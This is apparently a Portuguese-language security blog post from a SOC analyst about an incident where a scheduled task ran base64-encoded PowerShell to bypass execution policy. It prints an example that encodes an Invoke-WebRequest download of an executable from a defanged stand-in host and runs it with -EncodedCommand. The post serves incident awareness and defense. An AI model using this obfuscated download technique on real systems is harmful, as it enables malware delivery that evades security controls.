Ataques obfuscados via PowerShell

Lidamos recentemente com um incidente onde uma estação realizava semanalmente a execução de um script PowerShell via tarefa agendada. Isso levantou uma dúvida interessante, porque as políticas do próprio PowerShell não bloquearia, a Microsoft desenvolveu a política de execução do PowerShell, recurso de segurança ao qual controla as condições sob as quais o PowerShell carrega arquivos de configuração e executa scripts.

Analisando a cadeia de execuções, identificamos que o comando está em base64, ao que nativamente o PowerShell realiza, com isso consegue dar um bypass nessa etapa de segurança a nível de sistema operacional.

Segue abaixo um exemplo da técnica informada:

$command = “Invoke-WebRequest http[:]//malicious[.]com -OutFile malware[.]exe”

$encodedCommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))

powershell -EncodedCommand $encodedCommand

Essa é uma técnica entre muitas que atacantes utilizam, a pergunta que devemos fazer é, suas ferramentas e seu time estão preparados para lidar com ela?

Referências:

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.5

Publicado por

Pedro Brandt Zanqueta

Formado em Análise e Desenvolvimento de Sistemas na Fatec Rio Preto, comecei minha carreira com gerenciamento de infraestrutura terceirizada focado no Mercado Microsoft. Windows Server, Microsoft 365 e outros produtos da família foram o meu dia a dia por muitos anos. Como sempre focamos em manter os sistemas com os melhores processos de segurança, iniciamos os estudos para Cybersegurança. Pentest Profissional - Desec, Cursos do Cert.BR e certificações Palo Alto foram partes desse caminho, atualmente ao lado do time de SOC na CYLO temos o objetivo principal "Prevenir perdas"!